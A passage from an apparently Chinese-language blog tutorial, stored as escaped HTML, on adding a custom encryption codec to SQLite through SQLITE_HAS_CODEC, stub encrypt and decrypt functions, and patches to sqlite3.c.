class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e  DCG_SQLITE_CRYPT_FUNC_\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e  DCG_SQLITE_CRYPT_FUNC_\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e董淳光写的 SQLITE 加密关键函数库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键加密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_Encrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len_of_key )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键解密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_DeEncrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e intlen_of_key )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中的 crypt.c 如此定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./crypt.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;memory.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键加密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_Encrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len_of_key )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键解密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_DeEncrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e intlen_of_key )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个文件很容易看,就两函数,一个加密一个解密。传进来的参数分别是待处理的数据、数据长度、密钥、密钥长度。\u003c/p\u003e\u003cp\u003e处理时直接把结果作用于 pData 指针指向的内容。\u003c/p\u003e\u003cp\u003e你需要定义自己的加解密过程,就改动这两个函数,其它部分不用动。扩展起来很简单。\u003c/p\u003e\u003cp\u003e这里有个特点,data_len 一般总是 1024 字节。正因为如此,你可以在你的算法里使用一些特定长度的加密算法,比如AES要求被加密数据一定是128位(16字节)长。这个1024不是碰巧,而是 Sqlite 的页定义是1024字节,在sqlite3.c文件里有定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e# \u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_DEFAULT_PAGE_SIZE 1024\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你可以改动这个值,不过还是建议没有必要不要去改它。\u003c/p\u003e\u003cp\u003e上面写了两个扩展函数,如何把扩展函数跟 Sqlite 挂接起来,这个过程说起来比较麻烦。我直接贴代码。\u003c/p\u003e\u003cp\u003e分3个步骤。\u003c/p\u003e\u003cp\u003e首先,在 sqlite3.c 文件顶部,添加下面内容:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./crypt.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e用于在 sqlite3 最后关闭时释放一些内存\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_free_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数之所以要在 sqlite3.c 开头声明,是因为下面在 sqlite3.c 里面某些函数里要插入这个函数调用。所以要提前声明。\u003c/p\u003e\u003cp\u003e其次,在sqlite3.c文件里搜索“sqlite3PagerClose”函数,要找到它的实现代码(而不是声明代码)。\u003c/p\u003e\u003cp\u003e实现代码里一开始是:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_ENABLE_MEMORY_MANAGEMENT\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e/* A malloc() cannot fail in sqlite3ThreadData() as one or more calls to\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  ** malloc() must have already been made by this thread before it gets\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  ** to this point. This means the ThreadData must have been allocated already\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  ** so that ThreadData.nAlloc can be set.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  ThreadData *pTsd = sqlite3ThreadData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  assert( pPager );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  assert( pTsd \u0026amp;\u0026amp; pTsd-\u0026gt;nAlloc );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e需要在这部分后面紧接着插入:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  sqlite3pager_free_codecarg(pPager-\u0026gt;pCodecArg);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里要注意,sqlite3PagerClose 函数大概也是 3.3.17版本左右才改名的,以前版本里是叫 “sqlite3pager_close”。因此你在老版本sqlite代码里搜索“sqlite3PagerClose”是搜不到的。\u003c/p\u003e\u003cp\u003e类似的还有“sqlite3pager_get”、“sqlite3pager_unref”、“sqlite3pager_write”、“sqlite3pager_pagecount”等都是老版本函数,它们在 pager.h 文件里定义。新版本对应函数是在 sqlite3.h 里定义(因为都合并到 sqlite3.c和sqlite3.h两文件了)。所以,如果你在使用老版本的sqlite,先看看 pager.h 文件,这些函数不是消失了,也不是新蹦出来的,而是老版本函数改名得到的。\u003c/p\u003e\u003cp\u003e最后,往sqlite3.c 文件下找。找到最后一行:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/************** End of main.c ************************************************/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在这一行后面,接上本文最下面的代码段。\u003c/p\u003e\u003cp\u003e这些代码很长,我不再解释,直接接上去就得了。\u003c/p\u003e\u003cp\u003e唯一要提的是 DeriveKey 函数。这个函数是对密钥的扩展。比如,你要求密钥是128位,即是16字节,但是如果用户只输入 1个字节呢?2个字节呢?或输入50个字节呢?你得对密钥进行扩展,使之符合16字节的要求。\u003c/p\u003e\u003cp\u003eDeriveKey 函数就是做这个扩展的。有人把接收到的密钥求md5,这也是一个办法,因为md5运算结果固定16字节,不论你有多少字符,最后就是16字节。这是md5算法的特点。但是我不想用md5,因为还得为它添加包含一些 md5 的.c或.cpp文件。我不想这么做。我自己写了一个算法来扩展密钥,很简单的算法。当然,你也可以使用你的扩展方法,也而可以使用md5 算法。只要修改 DeriveKey 函数就可以了。\u003c/p\u003e\u003cp\u003e在 DeriveKey 函数里,只管申请空间构造所需要的密钥,不需要释放,因为在另一个函数里有释放过程,而那个函数会在数据库关闭时被调用。参考我的 DeriveKey 函数来申请内存。\u003c/p\u003e\u003cp\u003e这里我给出我已经修改好的 sqlite3.c 和 sqlite3.h 文件。\u003c/p\u003e\u003cp\u003e如果太懒,就直接使用这两个文件,编译肯定能通过,运行也正常。当然,你必须按我前面提的,新建 crypt.h 和crypt.c 文件,而且函数要按我前面定义的要求来做。\u003c/p\u003e\u003cp\u003e3 加密使用方法\u003c/p\u003e\u003cp\u003e现在,你代码已经有了加密功能。\u003c/p\u003e\u003cp\u003e你要把加密功能给用上,除了改 sqlite3.c 文件、给你工程添加 SQLITE_HAS_CODEC 宏,还得修改你的数据库调用函数。\u003c/p\u003e\u003cp\u003e前面提到过,要开始一个数据库操作,必须先 sqlite3_open 。\u003c/p\u003e\u003cp\u003e加解密过程就在 sqlite3_open 后面操作。\u003c/p\u003e\u003cp\u003e假设你已经 sqlite3_open 成功了,紧接着写下面的代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 